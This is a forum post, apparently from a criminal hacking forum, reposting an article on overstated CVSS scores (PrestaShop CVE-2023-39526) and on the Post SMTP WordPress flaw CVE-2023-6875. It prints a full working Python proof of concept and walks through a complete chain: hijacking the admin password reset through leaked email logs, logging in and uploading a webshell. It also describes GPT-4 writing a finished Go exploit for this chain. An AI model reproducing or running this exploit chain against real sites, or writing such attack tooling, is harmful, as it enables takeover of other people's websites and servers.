• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Разоблачаем баги-пустышки и пишем эксплоит при помощи ChatGPT

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Куда мы в первую очередь смотрим, глядя на очередную CVE’шку? Правильно, на уровень угрозы, то есть оценку CVSS. Но бывает, что эта цифра плохо соответствует реальной опасности. В этой статье я на примерах покажу, как это случается, а также поговорим о других проблемах CVE.

Что такое CVE?​

Что такое CVSS?​

Основные факторы CVSS​

Базовый балл основан на фундаментальных атрибутах уязвимости, которые не меняются со временем. Вот главные метрики, которые при этом берутся в расчет:
  • вектор атаки (Attack Vector, AV);
  • сложность атаки (Attack Complexity, AC);
  • требуемые привилегии (Privileges Required, PR);
  • взаимодействие с пользователем (User Interaction, UI);
  • область (Scope, S);
  • метрики воздействия:
    • влияние на конфиденциальность (Confidentiality Impact, C),
    • влияние на целостность (Integrity Impact, I),
    • влияние на доступность (Availability Impact, A).
Чтобы уязвимость считалась таковой, она должна нарушать по крайней мере один аспект триады CIA.
Анализируя CVE, я сталкиваюсь с тремя основными проблемами:
  • CVE без эксплоитов;
  • CVE с неработающими эксплоитами;
  • завышенная оценка.
Моя тема — это веб‑уязвимости, поэтому и примеры буду приводить из этой области. Но схожие проблемы наверняка затрагивают и другие сферы.


CVE-2023-39526: «уязвимость» в PrestaShop​

Хороший пример первой и третьей проблемы — это Для просмотра ссылки Войди или Зарегистрируйся, уязвимость в веб‑приложении PrestaShop. Мы видим две оценки: NIST дал оценку 9.8, в то время как GitHub — 9.1.

Почему оценки разные? Есть два различия: в NIST указали требуемые привилегии как отсутствующие (None), в то время как сотрудники GitHub указали высокие (High); в NIST отметили область как неизмененную (Unchanged), в то время как на GitHub выбрана измененная (Changed).

Графа «Требуемые привилегии» показывает, какие привилегии необходимы атакующему для эксплуатации уязвимости. Область определяет, может ли атакующий после эксплуатации уязвимости выполнить эскалацию привилегий в любой форме. Под эскалацией привилегий я подразумеваю не только переход от пользователя к администратору, но и получение более широкого доступа в системе, например от веб‑приложения к серверу.

Итак, я установил уязвимый продукт. Для доступа к функции, где существует «уязвимость», нужно быть администратором, поэтому требуемые привилегии высоки. Сама уязвимость представляет собой удаленное выполнение кода (Remote Code Execution, RCE), а не SQL-инъекцию. PrestaShop включает в себя SQL Manager, поэтому сообщать об SQL-инъекции без какой‑либо техники обхода SQL Manager некорректно.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь давай глянем Для просмотра ссылки Войди или Зарегистрируйся.

Для просмотра ссылки Войди или Зарегистрируйся
В патче запросы DUMPFILE и OUTFILE добавлены в черный список в файле RequestSql.php, а в Db.php появилась дополнительная проверка на то, есть ли они в запросе. Если да, то программа выдаст исключение PrestaShopDatabaseException.

Проблема здесь в том, что эти SQL-запросы обязательно должны использоваться с запросом INTO. INTO уже находится в черном списке, так что технически уязвимости нет; это просто хорошая практика. Ни один из аспектов триады CIA не нарушен, так как DUMPFILE и OUTFILE невозможно использовать. Оценка этой «уязвимости» должна быть 0.


CVE-2023-6875: баг в Post SMTP Mailer​

Недавно я наткнулся на занимательную, на мой взгляд, новость: «Для просмотра ссылки Войди или Зарегистрируйся». Но в реальности эта уязвимость не эксплуатируется, так как публичный эксплоит кривой.

WordPress — это популярная система управления контентом, которая позволяет создавать сайты без обладания глубокими техническими знаниями. Согласно Для просмотра ссылки Войди или Зарегистрируйся W3Techs, 43,1% всех веб‑сайтов в интернете созданы на WordPress. На нем работают некоторые СМИ и правительственные сайты. Для WordPress есть масса плагинов, некоторые из них очень и очень популярны.

Post SMTP Plugin добавляет в WordPress новые возможности, связанные с отправкой электронных писем. У него 11 миллионов установок, из которых более 300 тысяч активны.

Я решил проверить, доступен ли публичный эксплоит для этой CVE, и нашел один. Его опубликовал Улисс Сайча (Для просмотра ссылки Войди или Зарегистрируйся), тот же исследователь, что сообщил об уязвимости вместе с Шоном Мерфи (Sean Murphy) и опубликовал Для просмотра ссылки Войди или Зарегистрируйся в блоге Wordfence. Сам эксплоит Для просмотра ссылки Войди или Зарегистрируйся на GitHub. Вот как он выглядит:

Код:
import requests
url = "http://localhost:10115" # Change this

# set fcm token
print("Setting the FCM Token")

request_url = f"{url}/wp-json/post-smtp/v1/connect-app"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice", "Content-Type": "application/x-www-form-urlencoded"}
requests.post(request_url, headers=request_headers)

# password reset
user_login = input("Username for password reset: ")
print("Attempting password reset")

request_url = f"{url}/wp-login.php?action=lostpassword"
request_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"{url}/wp-login.php?action=lostpassword", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
request_data = {"user_login": "admin", "redirect_to": '', "wp-submit": "Get New Password"}
requests.post(request_url, headers=request_headers, data=request_data)

# get logs array
print("Getting all email logs")

request_url = f"{url}/wp-json/post-smtp/v1/get-logs"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
r = r.json()
print("Email logs: ")
for log in r["data"]:
print(f"Id: {log['id']}, Subject: {log['original_subject']}, Recipient: {log['to_header']}")


email_id = input("Select an email ID to view: ")  # Ask to select as there may be other emails on the same testing environment
# see email data

request_url = f"{url}/wp-admin/admin.php?access_token=HelloWordfence&type=log&log_id={email_id}"
request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "fcm-token": "HelloWordfence", "device": "FakeDevice"}
r = requests.get(request_url, headers=request_headers)
print(r.text)

Этот код отправляет запрос на /wp-json/post-smtp/v1/connect-app с заголовками "fcm-token": " HelloWordfence ", "device": "FakeDevice", которые устанавливают токен HelloWordfence. Затем эксплоит запрашивает имя пользователя, но независимо от ответа будет использоваться имя admin, что неверно. Потом код шлет запрос на сброс пароля, после чего сайт отправляет электронное письмо со ссылкой.

В итоге скрипт пытается получить все логи из /wp-json/post-smtp/v1/get-logs с токеном, установленным в первом запросе, а затем запрашивает идентификатор лога, который нас интересует.

Сама по себе уязвимость интересная, и большое спасибо исследователям за то, что нашли ее. Но что до эксплоита, то за исключением проблемы, когда он запрашивает имя пользователя (и при этом не использует его), кажется, что чего‑то не хватает. Чтобы понять, чего именно, мы должны задать себе вопросы: «Как стать администратором?», «Как узнать имя пользователя для сброса пароля?», «Как получить шелл?»

Когда я учился в школе, большинство вопросов на физике были о ситуации в вакууме. В кибербезопасности мы называем это средой. Даже если эксплоит идеально работает в нашей среде, это не значит, что он будет работать так же на реальных целях. Поэтому я объясню процесс, который отвечает на эти вопросы, и напишу «бум‑бум»-эксплоит при помощи ChatGPT. Я настроил WordPress и установил уязвимую версию Post SMTP 2.8.6.


Какое имя пользователя у администратора?​

Логично предположить, что администратором должен быть первый зарегистрированный пользователь, поэтому, если мы отправим запрос на /wp-json/wp/v2/users/1, мы должны увидеть имя пользователя администратора. В некоторых случаях доступ к JSON-интерфейсу невозможен, и иногда это не первый пользователь. Если нет доступа к JSON API, наш эксплоит должен использовать имя пользователя admin.

Для просмотра ссылки Войди или Зарегистрируйся
В моем случае имя — tuktuk, но настоящее имя пользователя (username) — kali. Значит, эксплоит должен анализировать значение slug.


Забыли пароль​

Я не настроил SMTP в своей тестовой среде, поэтому, когда мы сбрасываем пароль с именем пользователя, электронное письмо не отправляется, но лог неотправленного письма сохраняется. В логе есть информация о том, кто отправил электронное письмо, кому оно отправилось или не отправилось, дата и содержание электронного письма. Внутри письма — ссылка на сброс пароля.

Для просмотра ссылки Войди или Зарегистрируйся

Логи электронной почты​

Я отправил запросы на установку нового токена, получение логов и вывод последнего лога, который содержит ссылку на сброс пароля.

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Я хочу просмотреть лог, в котором есть ссылка на сброс пароля, — номер 154.

Для просмотра ссылки Войди или Зарегистрируйся

Изменение пароля​

Я отправил запрос на сброс пароля еще несколько раз, и теперь я смотрю лог номер 158.

Для просмотра ссылки Войди или Зарегистрируйся
Открыв URL сброса пароля, получаю куку вида wp-resetpass-md5(URL)=:key, в моем случае она выглядит так:

wp-resetpass-86a9106ae65537651a8e456835b316ab=kali:GJbWFvh1nOj8GFg643x9
Здесь 86a9106ae65537651a8e456835b316ab — это хеш MD5 от адреса Для просмотра ссылки Войди или Зарегистрируйся, а GJbWFvh1nOj8GFg643x9 — ключ на сброс пароля из ссылки. Эти данные нам особо не нужны, так как наш скрипт будет парсить куки, но все же хорошо знать, что за хеш.

Для просмотра ссылки Войди или Зарегистрируйся
При сбросе пароля должны присутствовать и куки, и ключ.

Для просмотра ссылки Войди или Зарегистрируйся

Загрузка шелла​

Теперь все, что нам нужно сделать, — это войти в систему и загрузить zip-файл, содержащий шелл. В моем случае это файл 1.zip.

Для просмотра ссылки Войди или Зарегистрируйся
В нашем запросе есть nonce, referer, имя файла и содержимое.

Для просмотра ссылки Войди или Зарегистрируйся
Очевидно, наш файл — это не плагин, поэтому он будет сохранен в директории /wp-content/upgrade/1.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь у нас есть шелл.

Для просмотра ссылки Войди или Зарегистрируйся

Бум-бум-эксплоит с GPT​

Я не разработчик и не разбираюсь в программировании, но это не значит, что я не могу читать по‑английски и отлаживать ошибки. Эксплоит написан на Go с помощью GPT-4.

Для просмотра ссылки Войди или Зарегистрируйся
Вот что делает этот эксплоит:

  1. Устанавливает токен, который позволяет видеть почты.
  2. Находит юзернейм админа, если не может найти, то ставит «админ» как дефолт.
  3. Просит ссылку для сброса пароля, тогда письмо со ссылкой идет админу.
  4. Берет токен, который поставил в первом пункте, и смотрит логи почты.
  5. Берет самый последний лог, в котором ссылка для сброса пароля.
  6. Сбрасывает пароль через ссылку, полученную в пятом пункте.
  7. Входит как админ.
  8. Заливает шелл (файл shell.zip, внутри которого шелл).
Код ты можешь найти Для просмотра ссылки Войди или Зарегистрируйся на GitHub, видео с демонстрацией — Для просмотра ссылки Войди или Зарегистрируйся.


Выводы​

Итак, мы разобрали два случая, когда наличие CVE еще не значит, что баг можно брать и эксплуатировать. В первом случае эксплуатация невозможна в принципе, поскольку баг — пустышка. Во втором баг оказался интересным, но отсутствовал работающий эксплоит. Я показал, как, поняв принцип уязвимости, можно написать свой эксплоит, причем программирование вполне реально целиком сгрузить на искусственный интеллект.
 
Activity
So far there's no one here